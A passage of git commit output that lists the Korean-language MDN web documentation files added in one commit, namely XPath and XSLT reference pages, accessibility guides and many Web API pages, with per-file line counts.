+ files/ko/web/xpath/functions/sum/index.html | 39 + .../web/xpath/functions/system-property/index.html | 34 + files/ko/web/xpath/functions/translate/index.html | 92 + files/ko/web/xpath/functions/true/index.html | 19 + .../xpath/functions/unparsed-entity-url/index.html | 21 + files/ko/web/xpath/index.html | 13 + files/ko/web/xslt/apply-imports/index.html | 22 + files/ko/web/xslt/apply-templates/index.html | 33 + files/ko/web/xslt/attribute-set/index.html | 33 + files/ko/web/xslt/attribute/index.html | 33 + files/ko/web/xslt/call-template/index.html | 29 + files/ko/web/xslt/choose/index.html | 24 + files/ko/web/xslt/comment/index.html | 23 + files/ko/web/xslt/copy-of/index.html | 26 + files/ko/web/xslt/copy/index.html | 28 + files/ko/web/xslt/decimal-format/index.html | 100 + files/ko/web/xslt/element/element/index.html | 37 + files/ko/web/xslt/element/index.html | 76 + files/ko/web/xslt/fallback/index.html | 23 + files/ko/web/xslt/for-each/index.html | 29 + files/ko/web/xslt/if/index.html | 28 + files/ko/web/xslt/import/index.html | 26 + files/ko/web/xslt/include/index.html | 26 + files/ko/web/xslt/index.html | 49 + files/ko/web/xslt/key/index.html | 35 + files/ko/web/xslt/message/index.html | 28 + files/ko/web/xslt/namespace-alias/index.html | 30 + files/ko/web/xslt/number/index.html | 173 ++ files/ko/web/xslt/otherwise/index.html | 23 + files/ko/web/xslt/output/index.html | 90 + files/ko/web/xslt/param/index.html | 33 + files/ko/web/xslt/preserve-space/index.html | 26 + .../ko/web/xslt/processing-instruction/index.html | 26 + files/ko/web/xslt/sort/index.html | 55 + files/ko/web/xslt/strip-space/index.html | 26 + files/ko/web/xslt/stylesheet/index.html | 52 + files/ko/web/xslt/template/index.html | 51 + files/ko/web/xslt/text/index.html | 28 + .../index.html | 17 + .../introduction/index.html | 10 + .../setting_parameters/index.html | 23 + files/ko/web/xslt/transform/index.html | 11 + .../web/xslt/transforming_xml_with_xslt/index.html | 107 + .../the_netscape_xslt_xpath_reference/index.html | 380 +++ .../index.html | 60 + files/ko/web/xslt/value-of/index.html | 31 + files/ko/web/xslt/variable/index.html | 33 + files/ko/web/xslt/when/index.html | 28 + files/ko/web/xslt/with-param/index.html | 33 + .../web/\354\260\270\354\241\260/api/index.html" | 65 + "files/ko/web/\354\260\270\354\241\260/index.html" | 30 + 2011 files changed, 281154 insertions(+) create mode 100644 files/ko/web/accessibility/an_overview_of_accessible_web_applications_and_widgets/index.html create mode 100644 files/ko/web/accessibility/aria/aria_live_regions/index.html create mode 100644 files/ko/web/accessibility/aria/aria_techniques/index.html create mode 100644 files/ko/web/accessibility/aria/aria_techniques/using_the_aria-label_attribute/index.html create mode 100644 files/ko/web/accessibility/aria/forms/alerts/index.html create mode 100644 files/ko/web/accessibility/aria/forms/basic_form_hints/index.html create mode 100644 files/ko/web/accessibility/aria/forms/index.html create mode 100644 files/ko/web/accessibility/aria/index.html create mode 100644 files/ko/web/accessibility/aria/roles/dialog_role/index.html create mode 100644 files/ko/web/accessibility/aria/roles/index.html create mode 100644 files/ko/web/accessibility/index.html create mode 100644 files/ko/web/accessibility/mobile_accessibility_checklist/index.html create mode 100644 files/ko/web/accessibility/understanding_wcag/index.html create mode 100644 files/ko/web/accessibility/understanding_wcag/keyboard/index.html create mode 100644 files/ko/web/api/abortcontroller/abort/index.html create mode 100644 files/ko/web/api/abortcontroller/abortcontroller/index.html create mode 100644 files/ko/web/api/abortcontroller/index.html create mode 100644 files/ko/web/api/abortcontroller/signal/index.html create mode 100644 files/ko/web/api/abortsignal/aborted/index.html create mode 100644 files/ko/web/api/abortsignal/index.html create mode 100644 files/ko/web/api/abstractrange/collapsed/index.html create mode 100644 files/ko/web/api/abstractrange/index.html create mode 100644 files/ko/web/api/abstractworker/index.html create mode 100644 files/ko/web/api/analysernode/index.html create mode 100644 files/ko/web/api/angle_instanced_arrays/index.html create mode 100644 files/ko/web/api/animationevent/animationevent/index.html create mode 100644 files/ko/web/api/animationevent/animationname/index.html create mode 100644 files/ko/web/api/animationevent/index.html create mode 100644 files/ko/web/api/animationtimeline/currenttime/index.html create mode 100644 files/ko/web/api/animationtimeline/index.html create mode 100644 files/ko/web/api/audio_channels_api/using_the_audiochannels_api/index.html create mode 100644 files/ko/web/api/audiobuffer/index.html create mode 100644 files/ko/web/api/audiobuffersourcenode/index.html create mode 100644 files/ko/web/api/audiochannelmanager/index.html create mode 100644 files/ko/web/api/audiochannels_api/index.html create mode 100644 files/ko/web/api/audiocontext/index.html create mode 100644 files/ko/web/api/audiodestinationnode/index.html create mode 100644 files/ko/web/api/audionode/index.html create mode 100644 files/ko/web/api/audioparam/index.html create mode 100644 files/ko/web/api/background_tasks_api/index.html create mode 100644 files/ko/web/api/batterymanager/charging/index.html create mode 100644 files/ko/web/api/batterymanager/chargingtime/index.html create mode 100644 files/ko/web/api/batterymanager/dischargingtime/index.html create mode 100644 files/ko/web/api/batterymanager/index.html create mode 100644 files/ko/web/api/biquadfilternode/index.html create mode 100644 files/ko/web/api/blob/blob/index.html create mode 100644 files/ko/web/api/blob/index.html create mode 100644 files/ko/web/api/body/index.html create mode 100644 files/ko/web/api/body/json/index.html create mode 100644 files/ko/web/api/broadcastchannel/index.html create mode 100644 files/ko/web/api/cache/index.html create mode 100644 files/ko/web/api/cache/put/index.html create mode 100644 files/ko/web/api/canvascapturemediastreamtrack/canvas/index.html create mode 100644 files/ko/web/api/canvascapturemediastreamtrack/index.html create mode 100644 files/ko/web/api/canvascapturemediastreamtrack/requestframe/index.html create mode 100644 files/ko/web/api/channel_messaging_api/index.html create mode 100644 files/ko/web/api/channel_messaging_api/using_channel_messaging/index.html create mode 100644 files/ko/web/api/characterdata/index.html create mode 100644 files/ko/web/api/childnode/before/index.html create mode 100644 files/ko/web/api/childnode/index.html create mode 100644 files/ko/web/api/childnode/remove/index.html create mode 100644 files/ko/web/api/clients/claim/index.html create mode 100644 files/ko/web/api/clients/index.html create mode 100644 files/ko/web/api/clipboard/index.html create mode 100644 files/ko/web/api/clipboard_api/index.html create mode 100644 files/ko/web/api/clipboardevent/clipboarddata/index.html create mode 100644 files/ko/web/api/clipboardevent/index.html create mode 100644 files/ko/web/api/comment/index.html create mode 100644 files/ko/web/api/console/assert/index.html create mode 100644 files/ko/web/api/console/clear/index.html create mode 100644 files/ko/web/api/console/count/index.html create mode 100644 files/ko/web/api/console/countreset/index.html create mode 100644 files/ko/web/api/console/debug/index.html create mode 100644 files/ko/web/api/console/error/index.html create mode 100644 files/ko/web/api/console/group/index.html create mode 100644 files/ko/web/api/console/index.html create mode 100644 files/ko/web/api/console/log/index.html create mode 100644 files/ko/web/api/console/time/index.html create mode 100644 files/ko/web/api/console/timeend/index.html create mode 100644 files/ko/web/api/console/trace/index.html create mode 100644 files/ko/web/api/console/warn/index.html create mode 100644 files/ko/web/api/console_api/index.html create mode 100644 files/ko/web/api/crypto/getrandomvalues/index.html create mode 100644 files/ko/web/api/crypto/index.html create mode 100644 files/ko/web/api/crypto/subtle/index.html create mode 100644 files/ko/web/api/css/index.html create mode 100644 files/ko/web/api/css_object_model/index.html create mode 100644 files/ko/web/api/cssmediarule/index.html create mode 100644 files/ko/web/api/cssomstring/index.html create mode 100644 files/ko/web/api/cssstylesheet/index.html create mode 100644 files/ko/web/api/customelementregistry/index.html create mode 100644 files/ko/web/api/customevent/customevent/index.html create mode 100644 files/ko/web/api/customevent/index.html create mode 100644 files/ko/web/api/datatransfer/getdata/index.html create mode 100644 files/ko/web/api/datatransfer/index.html create mode 100644 files/ko/web/api/document/adoptnode/index.html create mode 100644 files/ko/web/api/document/alinkcolor/index.html create mode 100644 files/ko/web/api/document/all/index.html create mode 100644 files/ko/web/api/document/anchors/index.html create mode 100644 files/ko/web/api/document/applets/index.html create mode 100644 files/ko/web/api/document/body/index.html create mode 100644 files/ko/web/api/document/characterset/index.html create mode 100644 files/ko/web/api/document/compatmode/index.html create mode 100644 files/ko/web/api/document/cookie/index.html create mode 100644 files/ko/web/api/document/createdocumentfragment/index.html create mode 100644 files/ko/web/api/document/createelement/index.html create mode 100644 files/ko/web/api/document/createelementns/index.html create mode 100644 files/ko/web/api/document/createrange/index.html create mode 100644 files/ko/web/api/document/createtextnode/index.html create mode 100644 files/ko/web/api/document/createtreewalker/index.html create mode 100644 files/ko/web/api/document/defaultview/index.html create mode 100644 files/ko/web/api/document/designmode/index.html create mode 100644 files/ko/web/api/document/doctype/index.html create mode 100644 files/ko/web/api/document/document/index.html create mode 100644 files/ko/web/api/document/documentelement/index.html create mode 100644 files/ko/web/api/document/documenturi/index.html create mode 100644 files/ko/web/api/document/domain/index.html create mode 100644 files/ko/web/api/document/drag_event/index.html create mode 100644 files/ko/web/api/document/dragend_event/index.html create mode 100644 files/ko/web/api/document/dragstart_event/index.html create mode 100644 files/ko/web/api/document/embeds/index.html create mode 100644 files/ko/web/api/document/execcommand/index.html create mode 100644 files/ko/web/api/document/forms/index.html create mode 100644 files/ko/web/api/document/getelementbyid/index.html create mode 100644 files/ko/web/api/document/getelementsbytagname/index.html create mode 100644 files/ko/web/api/document/getelementsbytagnamens/index.html create mode 100644 files/ko/web/api/document/getselection/index.html create mode 100644 files/ko/web/api/document/hasfocus/index.html create mode 100644 files/ko/web/api/document/head/index.html create mode 100644 files/ko/web/api/document/hidden/index.html create mode 100644 files/ko/web/api/document/images/index.html create mode 100644 files/ko/web/api/document/implementation/index.html create mode 100644 files/ko/web/api/document/importnode/index.html create mode 100644 files/ko/web/api/document/index.html create mode 100644 files/ko/web/api/document/keydown_event/index.html create mode 100644 files/ko/web/api/document/keyup_event/index.html create mode 100644 files/ko/web/api/document/links/index.html create mode 100644 files/ko/web/api/document/location/index.html create mode 100644 files/ko/web/api/document/open/index.html create mode 100644 files/ko/web/api/document/queryselector/index.html create mode 100644 files/ko/web/api/document/queryselectorall/index.html create mode 100644 files/ko/web/api/document/readystate/index.html create mode 100644 files/ko/web/api/document/readystatechange_event/index.html create mode 100644 files/ko/web/api/document/referrer/index.html create mode 100644 files/ko/web/api/document/scroll_event/index.html create mode 100644 files/ko/web/api/document/stylesheetsets/index.html create mode 100644 files/ko/web/api/document/url/index.html create mode 100644 files/ko/web/api/document/visibilitychange_event/index.html create mode 100644 files/ko/web/api/document/visibilitystate/index.html create mode 100644 files/ko/web/api/document/write/index.html create mode 100644 files/ko/web/api/document_object_model/events/index.html create mode 100644 files/ko/web/api/document_object_model/examples/index.html create mode 100644 files/ko/web/api/document_object_model/index.html create mode 100644 files/ko/web/api/document_object_model/locating_dom_elements_using_selectors/index.html create mode 100644 files/ko/web/api/document_object_model/using_the_w3c_dom_level_1_core/index.html create mode 100644 "files/ko/web/api/document_object_model/\354\206\214\352\260\234/index.html" create mode 100644 files/ko/web/api/documentfragment/index.html create mode 100644 files/ko/web/api/documentorshadowroot/activeelement/index.html create mode 100644 files/ko/web/api/documentorshadowroot/index.html create mode 100644 files/ko/web/api/documentorshadowroot/stylesheets/index.html create mode 100644 files/ko/web/api/documenttype/index.html create mode 100644 files/ko/web/api/domobject/index.html create mode 100644 files/ko/web/api/domparser/index.html create mode 100644 files/ko/web/api/domstring/index.html create mode 100644 files/ko/web/api/domtokenlist/contains/index.html create mode 100644 files/ko/web/api/domtokenlist/index.html create mode 100644 files/ko/web/api/dragevent/index.html create mode 100644 files/ko/web/api/element/accesskey/index.html create mode 100644 files/ko/web/api/element/attributes/index.html create mode 100644 files/ko/web/api/element/classlist/index.html create mode 100644 files/ko/web/api/element/classname/index.html create mode 100644 files/ko/web/api/element/click_event/index.html create mode 100644 files/ko/web/api/element/clientheight/index.html create mode 100644 files/ko/web/api/element/clientleft/index.html create mode 100644 files/ko/web/api/element/closest/index.html create mode 100644 files/ko/web/api/element/currentstyle/index.html create mode 100644 files/ko/web/api/element/getattribute/index.html create mode 100644 files/ko/web/api/element/getelementsbyclassname/index.html create mode 100644 files/ko/web/api/element/getelementsbytagname/index.html create mode 100644 files/ko/web/api/element/id/index.html create mode 100644 files/ko/web/api/element/index.html create mode 100644 files/ko/web/api/element/innerhtml/index.html create mode 100644 files/ko/web/api/element/insertadjacenthtml/index.html create mode 100644 files/ko/web/api/element/outerhtml/index.html create mode 100644 files/ko/web/api/element/removeattribute/index.html create mode 100644 files/ko/web/api/element/scrollheight/index.html create mode 100644 files/ko/web/api/element/scrollintoview/index.html create mode 100644 files/ko/web/api/element/tagname/index.html create mode 100644 files/ko/web/api/element/touchcancel_event/index.html create mode 100644 files/ko/web/api/encoding_api/index.html create mode 100644 files/ko/web/api/event/cancelable/index.html create mode 100644 files/ko/web/api/event/cancelbubble/index.html create mode 100644 files/ko/web/api/event/createevent/index.html create mode 100644 files/ko/web/api/event/event/index.html create mode 100644 files/ko/web/api/event/eventphase/index.html create mode 100644 files/ko/web/api/event/index.html create mode 100644 files/ko/web/api/event/istrusted/index.html create mode 100644 files/ko/web/api/event/preventdefault/index.html create mode 100644 files/ko/web/api/event/stopimmediatepropagation/index.html create mode 100644 files/ko/web/api/event/stoppropagation/index.html create mode 100644 files/ko/web/api/event/target/index.html create mode 100644 files/ko/web/api/eventlistener/index.html create mode 100644 files/ko/web/api/eventsource/eventsource/index.html create mode 100644 files/ko/web/api/eventsource/index.html create mode 100644 files/ko/web/api/eventtarget/addeventlistener/index.html create mode 100644 files/ko/web/api/eventtarget/dispatchevent/index.html create mode 100644 files/ko/web/api/eventtarget/eventtarget/index.html create mode 100644 files/ko/web/api/eventtarget/index.html create mode 100644 files/ko/web/api/eventtarget/removeeventlistener/index.html create mode 100644 files/ko/web/api/fetch_api/basic_concepts/index.html create mode 100644 "files/ko/web/api/fetch_api/fetch\354\235\230_\354\202\254\354\232\251\353\262\225/index.html" create mode 100644 files/ko/web/api/fetch_api/index.html create mode 100644 files/ko/web/api/fetchevent/index.html create mode 100644 files/ko/web/api/fetchevent/respondwith/index.html create mode 100644 files/ko/web/api/file/file/index.html create mode 100644 files/ko/web/api/file/index.html create mode 100644 files/ko/web/api/file/name/index.html create mode 100644 files/ko/web/api/file/size/index.html create mode 100644 files/ko/web/api/file/using_files_from_web_applications/index.html create mode 100644 files/ko/web/api/file_and_directory_entries_api/index.html create mode 100644 files/ko/web/api/filelist/index.html create mode 100644 files/ko/web/api/filereader/index.html create mode 100644 files/ko/web/api/filereader/loadend_event/index.html create mode 100644 files/ko/web/api/filereader/readasdataurl/index.html create mode 100644 files/ko/web/api/filereader/readastext/index.html create mode 100644 files/ko/web/api/filereader/result/index.html create mode 100644 files/ko/web/api/formdata/append/index.html create mode 100644 files/ko/web/api/formdata/delete/index.html create mode 100644 files/ko/web/api/formdata/entries/index.html create mode 100644 files/ko/web/api/formdata/formdata/index.html create mode 100644 files/ko/web/api/formdata/get/index.html create mode 100644 files/ko/web/api/formdata/getall/index.html create mode 100644 files/ko/web/api/formdata/has/index.html create mode 100644 files/ko/web/api/formdata/index.html create mode 100644 files/ko/web/api/formdata/keys/index.html create mode 100644 files/ko/web/api/formdata/set/index.html create mode 100644 files/ko/web/api/formdata/values/index.html create mode 100644 files/ko/web/api/gamepad_api/index.html create mode 100644 files/ko/web/api/gamepad_api/using_the_gamepad_api/index.html create mode 100644 files/ko/web/api/geolocation/clearwatch/index.html create mode 100644 files/ko/web/api/geolocation/getcurrentposition/index.html create mode 100644 files/ko/web/api/geolocation/index.html create mode 100644 files/ko/web/api/geolocation/watchposition/index.html create mode 100644 files/ko/web/api/geolocation_api/index.html create mode 100644 files/ko/web/api/geolocationposition/index.html create mode 100644 files/ko/web/api/globaleventhandlers/index.html create mode 100644 files/ko/web/api/globaleventhandlers/onchange/index.html create mode 100644 files/ko/web/api/globaleventhandlers/onclick/index.html create mode 100644 files/ko/web/api/globaleventhandlers/oncontextmenu/index.html create mode 100644 files/ko/web/api/globaleventhandlers/ondblclick/index.html create mode 100644 files/ko/web/api/globaleventhandlers/onkeydown/index.html create mode 100644 files/ko/web/api/globaleventhandlers/onkeyup/index.html create mode 100644 files/ko/web/api/globaleventhandlers/onpointerenter/index.html create mode 100644 files/ko/web/api/globaleventhandlers/onscroll/index.html create mode 100644 files/ko/web/api/globaleventhandlers/onsubmit/index.html create mode 100644 files/ko/web/api/globaleventhandlers/ontouchstart/index.html create mode 100644 files/ko/web/api/history/back/index.html create mode 100644 files/ko/web/api/history/forward/index.html create mode 100644 files/ko/web/api/history/go/index.html create mode 100644 files/ko/web/api/history/index.html create mode 100644 files/ko/web/api/history/length/index.html create mode 100644 files/ko/web/api/history/pushstate/index.html create mode 100644 files/ko/web/api/history/replacestate/index.html create mode 100644 files/ko/web/api/history/scrollrestoration/index.html create mode 100644 files/ko/web/api/history/state/index.html create mode 100644 files/ko/web/api/history_api/index.html create mode 100644 "files/ko/web/api/html_\353\223\234\353\236\230\352\267\270_\354\225\244_\353\223\234\353\241\255_api/drag_operations/index.html" create mode 100644 "files/ko/web/api/html_\353\223\234\353\236\230\352\267\270_\354\225\244_\353\223\234\353\241\255_api/index.html" create mode 100644 files/ko/web/api/htmlbrelement/index.html create mode 100644 files/ko/web/api/htmlcanvaselement/getcontext/index.html create mode 100644 files/ko/web/api/htmlcanvaselement/index.html create mode 100644 files/ko/web/api/htmlcollection/index.html create mode 100644 files/ko/web/api/htmlcollection/item/index.html create mode 100644 files/ko/web/api/htmldivelement/index.html create mode 100644 files/ko/web/api/htmldocument/index.html create mode 100644 files/ko/web/api/htmlelement/accesskeylabel/index.html create mode 100644 files/ko/web/api/htmlelement/click/index.html create mode 100644 files/ko/web/api/htmlelement/contenteditable/index.html create mode 100644 files/ko/web/api/htmlelement/dataset/index.html create mode 100644 files/ko/web/api/htmlelement/index.html create mode 100644 files/ko/web/api/htmlelement/input_event/index.html create mode 100644 files/ko/web/api/htmlelement/offsetparent/index.html create mode 100644 files/ko/web/api/htmlelement/outertext/index.html create mode 100644 files/ko/web/api/htmlelement/style/index.html create mode 100644 files/ko/web/api/htmlelement/tabindex/index.html create mode 100644 files/ko/web/api/htmlformelement/index.html create mode 100644 files/ko/web/api/htmlhyperlinkelementutils/href/index.html create mode 100644 files/ko/web/api/htmlhyperlinkelementutils/index.html create mode 100644 files/ko/web/api/htmllielement/index.html create mode 100644 files/ko/web/api/htmlmediaelement/autoplay/index.html create mode 100644 files/ko/web/api/htmlmediaelement/canplay_event/index.html create mode 100644 files/ko/web/api/htmlmediaelement/canplaythrough_event/index.html create mode 100644 files/ko/web/api/htmlmediaelement/index.html create mode 100644 files/ko/web/api/htmloptionelement/index.html create mode 100644 files/ko/web/api/htmlselectelement/index.html create mode 100644 files/ko/web/api/htmlselectelement/selectedoptions/index.html create mode 100644 files/ko/web/api/htmlspanelement/index.html create mode 100644 files/ko/web/api/htmltableelement/index.html create mode 100644 files/ko/web/api/htmltableelement/width/index.html create mode 100644 files/ko/web/api/htmltemplateelement/index.html create mode 100644 files/ko/web/api/htmltitleelement/index.html create mode 100644 files/ko/web/api/htmlvideoelement/index.html create mode 100644 files/ko/web/api/idledeadline/didtimeout/index.html create mode 100644 files/ko/web/api/idledeadline/index.html create mode 100644 files/ko/web/api/imagecapture/getphotocapabilities/index.html create mode 100644 files/ko/web/api/imagecapture/getphotosettings/index.html create mode 100644 files/ko/web/api/imagecapture/grabframe/index.html create mode 100644 files/ko/web/api/imagecapture/imagecapture/index.html create mode 100644 files/ko/web/api/imagecapture/index.html create mode 100644 files/ko/web/api/imagecapture/takephoto/index.html create mode 100644 files/ko/web/api/imagecapture/track/index.html create mode 100644 files/ko/web/api/imagedata/index.html create mode 100644 files/ko/web/api/index.html create mode 100644 files/ko/web/api/index/index.html create mode 100644 files/ko/web/api/indexeddb_api/basic_concepts_behind_indexeddb/index.html create mode 100644 files/ko/web/api/indexeddb_api/index.html create mode 100644 files/ko/web/api/indexeddb_api/using_indexeddb/index.html create mode 100644 files/ko/web/api/intersection_observer_api/index.html create mode 100644 files/ko/web/api/intersectionobserver/index.html create mode 100644 files/ko/web/api/intersectionobserver/intersectionobserver/index.html create mode 100644 files/ko/web/api/intersectionobserver/observe/index.html create mode 100644 files/ko/web/api/intersectionobserver/root/index.html create mode 100644 files/ko/web/api/location/index.html create mode 100644 files/ko/web/api/location/reload/index.html create mode 100644 files/ko/web/api/media_streams_api/index.html create mode 100644 files/ko/web/api/mediadevices/enumeratedevices/index.html create mode 100644 files/ko/web/api/mediadevices/getusermedia/index.html create mode 100644 files/ko/web/api/mediadevices/index.html create mode 100644 files/ko/web/api/mediastream_image_capture_api/index.html create mode 100644 files/ko/web/api/mediastreamtrack/applyconstraints/index.html create mode 100644 files/ko/web/api/mediastreamtrack/clone/index.html create mode 100644 files/ko/web/api/mediastreamtrack/enabled/index.html create mode 100644 files/ko/web/api/mediastreamtrack/getcapabilities/index.html create mode 100644 files/ko/web/api/mediastreamtrack/getconstraints/index.html create mode 100644 files/ko/web/api/mediastreamtrack/getsettings/index.html create mode 100644 files/ko/web/api/mediastreamtrack/id/index.html create mode 100644 files/ko/web/api/mediastreamtrack/index.html create mode 100644 files/ko/web/api/mediastreamtrack/kind/index.html create mode 100644 files/ko/web/api/mediastreamtrack/label/index.html create mode 100644 files/ko/web/api/mediastreamtrack/muted/index.html create mode 100644 files/ko/web/api/mediastreamtrack/readystate/index.html create mode 100644 files/ko/web/api/mediastreamtrack/stop/index.html create mode 100644 files/ko/web/api/mediatrackconstraints/index.html create mode 100644 files/ko/web/api/messageevent/index.html create mode 100644 files/ko/web/api/mouseevent/clientx/index.html create mode 100644 files/ko/web/api/mouseevent/index.html create mode 100644 files/ko/web/api/mozmmsevent/index.html create mode 100644 files/ko/web/api/mozmmsmessage/index.html create mode 100644 files/ko/web/api/mozmobilemessagemanager/index.html create mode 100644 files/ko/web/api/mozmobilemessagethread/index.html create mode 100644 files/ko/web/api/mozsmsevent/index.html create mode 100644 files/ko/web/api/mozsmsfilter/index.html create mode 100644 files/ko/web/api/mozsmsmanager/index.html create mode 100644 files/ko/web/api/mozsmsmessage/index.html create mode 100644 files/ko/web/api/mozsmssegmentinfo/index.html create mode 100644 files/ko/web/api/mutationobserver/index.html create mode 100644 files/ko/web/api/navigator/battery/index.html create mode 100644 files/ko/web/api/navigator/geolocation/index.html create mode 100644 files/ko/web/api/navigator/index.html create mode 100644 files/ko/web/api/navigator/mediadevices/index.html create mode 100644 files/ko/web/api/navigator/mozmobilemessage/index.html create mode 100644 files/ko/web/api/navigator/moznotification/index.html create mode 100644 files/ko/web/api/navigator/mozsms/index.html create mode 100644 files/ko/web/api/navigator/registerprotocolhandler/index.html create mode 100644 files/ko/web/api/navigator/share/index.html create mode 100644 files/ko/web/api/navigatorid/index.html create mode 100644 files/ko/web/api/navigatorlanguage/index.html create mode 100644 files/ko/web/api/navigatorlanguage/language/index.html create mode 100644 files/ko/web/api/navigatoronline/index.html create mode 100644 files/ko/web/api/navigatoronline/online_and_offline_events/index.html create mode 100644 files/ko/web/api/networkinformation/connection/index.html create mode 100644 files/ko/web/api/networkinformation/index.html create mode 100644 files/ko/web/api/node/appendchild/index.html create mode 100644 files/ko/web/api/node/childnodes/index.html create mode 100644 files/ko/web/api/node/clonenode/index.html create mode 100644 files/ko/web/api/node/contains/index.html create mode 100644 files/ko/web/api/node/firstchild/index.html create mode 100644 files/ko/web/api/node/haschildnodes/index.html create mode 100644 files/ko/web/api/node/index.html create mode 100644 files/ko/web/api/node/innertext/index.html create mode 100644 files/ko/web/api/node/insertbefore/index.html create mode 100644 files/ko/web/api/node/lastchild/index.html create mode 100644 files/ko/web/api/node/nextsibling/index.html create mode 100644 files/ko/web/api/node/normalize/index.html create mode 100644 files/ko/web/api/node/ownerdocument/index.html create mode 100644 files/ko/web/api/node/previoussibling/index.html create mode 100644 files/ko/web/api/node/replacechild/index.html create mode 100644 files/ko/web/api/node/textcontent/index.html create mode 100644 files/ko/web/api/nodefilter/index.html create mode 100644 files/ko/web/api/nodelist/entries/index.html create mode 100644 files/ko/web/api/nodelist/foreach/index.html create mode 100644 files/ko/web/api/nodelist/index.html create mode 100644 files/ko/web/api/nodelist/item/index.html create mode 100644 files/ko/web/api/nodelist/keys/index.html create mode 100644 files/ko/web/api/nodelist/length/index.html create mode 100644 files/ko/web/api/nodelist/values/index.html create mode 100644 files/ko/web/api/notification/index.html create mode 100644 files/ko/web/api/notification/permission/index.html create mode 100644 files/ko/web/api/notifications_api/index.html create mode 100644 files/ko/web/api/notifyaudioavailableevent/index.html create mode 100644 files/ko/web/api/offscreencanvas/getcontext/index.html create mode 100644 files/ko/web/api/offscreencanvas/height/index.html create mode 100644 files/ko/web/api/offscreencanvas/index.html create mode 100644 files/ko/web/api/offscreencanvas/offscreencanvas/index.html create mode 100644 files/ko/web/api/offscreencanvas/toblob/index.html create mode 100644 files/ko/web/api/offscreencanvas/width/index.html create mode 100644 files/ko/web/api/page_visibility_api/index.html create mode 100644 files/ko/web/api/parentnode/append/index.html create mode 100644 files/ko/web/api/parentnode/childelementcount/index.html create mode 100644 files/ko/web/api/parentnode/children/index.html create mode 100644 files/ko/web/api/parentnode/index.html create mode 100644 files/ko/web/api/parentnode/prepend/index.html create mode 100644 files/ko/web/api/performance/index.html create mode 100644 files/ko/web/api/performance/mark/index.html create mode 100644 files/ko/web/api/performance/now/index.html create mode 100644 files/ko/web/api/performanceentry/index.html create mode 100644 files/ko/web/api/photocapabilities/index.html create mode 100644 files/ko/web/api/plugin/index.html create mode 100644 files/ko/web/api/positionoptions/index.html create mode 100644 files/ko/web/api/push_api/index.html create mode 100644 files/ko/web/api/pushmanager/index.html create mode 100644 files/ko/web/api/pushmessagedata/index.html create mode 100644 files/ko/web/api/range/index.html create mode 100644 files/ko/web/api/range/selectnodecontents/index.html create mode 100644 files/ko/web/api/readablestream/index.html create mode 100644 files/ko/web/api/request/credentials/index.html create mode 100644 files/ko/web/api/request/index.html create mode 100644 files/ko/web/api/request/request/index.html create mode 100644 files/ko/web/api/rtcconfiguration/index.html create mode 100644 files/ko/web/api/rtcdatachannelevent/channel/index.html create mode 100644 files/ko/web/api/rtcdatachannelevent/index.html create mode 100644 files/ko/web/api/rtcdatachannelevent/rtcdatachannelevent/index.html create mode 100644 files/ko/web/api/rtcicecandidate/candidate/index.html create mode 100644 files/ko/web/api/rtcicecandidate/index.html create mode 100644 files/ko/web/api/rtcicecandidate/tojson/index.html create mode 100644 files/ko/web/api/rtcpeerconnection/addicecandidate/index.html create mode 100644 files/ko/web/api/rtcpeerconnection/addtrack/index.html create mode 100644 files/ko/web/api/rtcpeerconnection/cantrickleicecandidates/index.html create mode 100644 files/ko/web/api/rtcpeerconnection/close/index.html create mode 100644 files/ko/web/api/rtcpeerconnection/connectionstate/index.html create mode 100644 files/ko/web/api/rtcpeerconnection/createanswer/index.html create mode 100644 files/ko/web/api/rtcpeerconnection/createdatachannel/index.html create mode 100644 files/ko/web/api/rtcpeerconnection/currentlocaldescription/index.html create mode 100644 files/ko/web/api/rtcpeerconnection/currentremotedescription/index.html create mode 100644 files/ko/web/api/rtcpeerconnection/generatecertificate/index.html create mode 100644 files/ko/web/api/rtcpeerconnection/getconfiguration/index.html create mode 100644 files/ko/web/api/rtcpeerconnection/getidentityassertion/index.html create mode 100644 files/ko/web/api/rtcpeerconnection/getreceivers/index.html create mode 100644 files/ko/web/api/rtcpeerconnection/getsenders/index.html create mode 100644 files/ko/web/api/rtcpeerconnection/gettransceivers/index.html create mode 100644 files/ko/web/api/rtcpeerconnection/icegatheringstate/index.html create mode 100644 files/ko/web/api/rtcpeerconnection/icegatheringstatechange_event/index.html create mode 100644 files/ko/web/api/rtcpeerconnection/index.html create mode 100644 files/ko/web/api/rtcpeerconnection/localdescription/index.html create mode 100644 files/ko/web/api/rtcpeerconnection/onconnectionstatechange/index.html create mode 100644 files/ko/web/api/rtcpeerconnection/ondatachannel/index.html create mode 100644 files/ko/web/api/rtcpeerconnection/onicecandidate/index.html create mode 100644 files/ko/web/api/rtcpeerconnection/onicegatheringstatechange/index.html create mode 100644 files/ko/web/api/rtcpeerconnection/onidentityresult/index.html create mode 100644 files/ko/web/api/rtcpeerconnection/ontrack/index.html create mode 100644 files/ko/web/api/rtcpeerconnection/removetrack/index.html create mode 100644 files/ko/web/api/rtcpeerconnection/restartice/index.html create mode 100644 files/ko/web/api/rtcpeerconnection/rtcpeerconnection/index.html create mode 100644 files/ko/web/api/rtcpeerconnection/setconfiguration/index.html create mode 100644 files/ko/web/api/rtcpeerconnection/setidentityprovider/index.html create mode 100644 files/ko/web/api/rtcpeerconnection/setlocaldescription/index.html create mode 100644 files/ko/web/api/rtcpeerconnectioniceevent/candidate/index.html create mode 100644 files/ko/web/api/rtcpeerconnectioniceevent/index.html create mode 100644 files/ko/web/api/rtcsessiondescription/index.html create mode 100644 files/ko/web/api/rtcsessiondescription/sdp/index.html create mode 100644 files/ko/web/api/rtcsessiondescription/type/index.html create mode 100644 files/ko/web/api/screen.onorientationchange/index.html create mode 100644 files/ko/web/api/screen/index.html create mode 100644 files/ko/web/api/screen/lockorientation/index.html create mode 100644 files/ko/web/api/screen/orientation/index.html create mode 100644 files/ko/web/api/screen/unlockorientation/index.html create mode 100644 files/ko/web/api/selection/index.html create mode 100644 files/ko/web/api/selection/tostring/index.html create mode 100644 files/ko/web/api/server-sent_events/index.html create mode 100644 files/ko/web/api/service_worker_api/index.html create mode 100644 files/ko/web/api/service_worker_api/using_service_workers/index.html create mode 100644 files/ko/web/api/serviceworker/index.html create mode 100644 files/ko/web/api/serviceworker/onstatechange/index.html create mode 100644 files/ko/web/api/serviceworkerglobalscope/clients/index.html create mode 100644 files/ko/web/api/serviceworkerglobalscope/index.html create mode 100644 files/ko/web/api/serviceworkerglobalscope/notificationclick_event/index.html create mode 100644 files/ko/web/api/serviceworkerglobalscope/skipwaiting/index.html create mode 100644 